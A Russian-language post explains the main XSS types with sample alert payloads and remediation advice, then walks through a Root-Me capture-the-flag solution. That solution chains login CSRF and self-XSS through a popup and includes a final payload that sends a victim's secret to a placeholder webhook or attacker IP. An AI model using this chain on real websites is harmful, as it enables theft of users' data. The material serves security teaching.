Cross site scripting (XSS)

Cross site scripting (XSS)

@Zenmovie

Дисклеймер

Данный пост был написан только для образовательных целей.




Universal XSS

В отличие от остальных типов XSS данная атака направлена не на какое-то определенное веб-приложение, а не браузер.

Подробнее узнать можно здесь.

Рекомендации по исправлению: своевременно обновлять используемый браузер, настроить Content Security Policy (CSP)

Stored (persistent) XSS

Атака, при которой сначала внедряется и сохраняется JavaScript-код на сервере, а потом возвращается клиентскому браузеру при запросе определенной страницы.

Рекомендации по исправлению: использовать фильтрацию данных, полученных от пользователя; настроить Content Security Policy (CSP)

Reflected XSS

XSS, при которой полезная нагрузка является частью запроса, код выполняется в момент запроса к серверу и возвращается обратно в браузер пользователя.

http://example.com/?q=<script>alert(document.domain)</script>

Рекомендации по исправлению: использовать фильтрацию данных, полученных от пользователя; настроить Content Security Policy (CSP)


Self XSS

Self XSS - "выстрел в ногу", в данном случае атака влияет только на атакующего.

Чаще всего это выполнение JavaScript кода в консоли браузера. Либо же размещение полезной нагрузки на странице, куда никто, кроме атакующего, не имеет доступа.

Рекомендации по исправлению: использовать фильтрацию данных, полученных от пользователя; настроить Content Security Policy (CSP)

Multipart XSS

Форма атаки на веб-приложения, при которой вредоносный код внедряется в многокомпонентные данные, такие как файлы изображений или документов, передаваемые через формы загрузки на сервер.

 `<img src=x onerror=alert(document.domain)>`.jpg

Рекомендации по исправлению: использовать фильтрацию данных, полученных от пользователя; настроить проверку типов файлов, ограничить размер загружаемых файлов, обновление используемых библиотек и фреймворков

Dom-based XSS

Атака, которая выполняется непосредственно в браузере пользователя, а не на сервере посредством манипуляции DOM-страницы.

https://example.com/page#name=<script>alert(document.domain)</script>

Рекомендации по исправлению: использовать фильтрацию данных, полученных от пользователя; использовать безопасные методы работы с DOM, настроить Content Security Policy (CSP)


Решение self xss - dom:


Проверим поле username на уязвимость XSS, для этого воспользуемся полезной нагрузкой <script>alert(1)</script>

Использование <script>alert(1)</script> вместо имени


Введенный javascript-код внедрился
Подтверждение выполнения XSS


При создании имени пользователя и секрета создается JWT, который хранит в себе значения этих атрибутов. Но из-за того что кука session (JWT) обладает флагом httpOnly, получить ее с помощью javascript не получится. Поэтому создадим 2 файла index.html и csrf.html для получения значения secret из страницы /profile.

index.html

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>poc</title>
 <style>
  iframe {
   width: 500px;
   height: 500px;
   border: 1px solid black;
  }
   
 </style>
</head>
<body>
  <h1>POC</h1>
  <script>
   const csrf = window.open("/csrf.html")
   window.onmessage = () => {
    window.location = "http://challenge01.root-me.org:58003/profile"
   }
  </script>
</body> 

csrf.html

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>poc</title>
</head>
<body>
  <h1>CSRF</h1>
  <form method="POST" action="http://challenge01.root-me.org:58003/login">
   <input type="text" name="username" value="<script>alert(window.opener.document.querySelectorAll('section > p')[2].innerHTML)</script>">
   <input type="text" name="secret" value="redacted">
   <input type="submit">
  </form>
  <script>
   window.opener.postMessage({}, "*")
   document.querySelector("form").submit()
  </script>
</body>


Для того чтобы все отработало нужно изначально пройти авторизацию, указать свой секрет и в браузере отключить блокирование попап-окон.

Поднимаем простое веб-приложение с помощью python3 в директории с index.html и csrf.html

python3 -m http.server

Заходим на http://localhost:8000/ и получаем введенный ранее секрет.

Отработавшая полезная нагрузка


Так как предыдущая полезная нагрузка отработала изменяем метод alert на xhr или fetch и указываем куда должен прилететь ответ.

Измененный csrf.html

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>poc</title>
</head>
<body>
  <h1>CSRF</h1>
  <form method="POST" action="http://challenge01.root-me.org:58003/login">
   <input type="text" name="username" value="<script>var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://{любой веб-хук/если на тачке белый IP, то можно и IP:8000}/?data=' + encodeURIComponent(window.opener.document.querySelectorAll('section > p')[2].innerHTML), true); xhr.send();</script>">
   <input type="text" name="secret" value="redacted">
   <input type="submit">
  </form>
  <script>
   window.opener.postMessage({}, "*")
   document.querySelector("form").submit()
  </script>
</body>
</html>


Кратко почему это работает:
Мы открываем попап с нашим окном, где у нас тоже есть XSS, затем мы в родительском окне переходим на страницу с профилем, затем мы в дочернем окне сабмитим форму, получаем XSS в ориджине атакуемого хоста. Куку мы перетерли, однако страница с секретом уже прогружена в родительском окне, а в дочернем у нас есть XSS, причем ориджины у этих двух окон одинаковые. Из-за того что ориджины одинаковые, мы можем посмотреть содержимое родительской страницы. ©bavette_13


Материал написан для: https://t.me/LamerZen

Report Page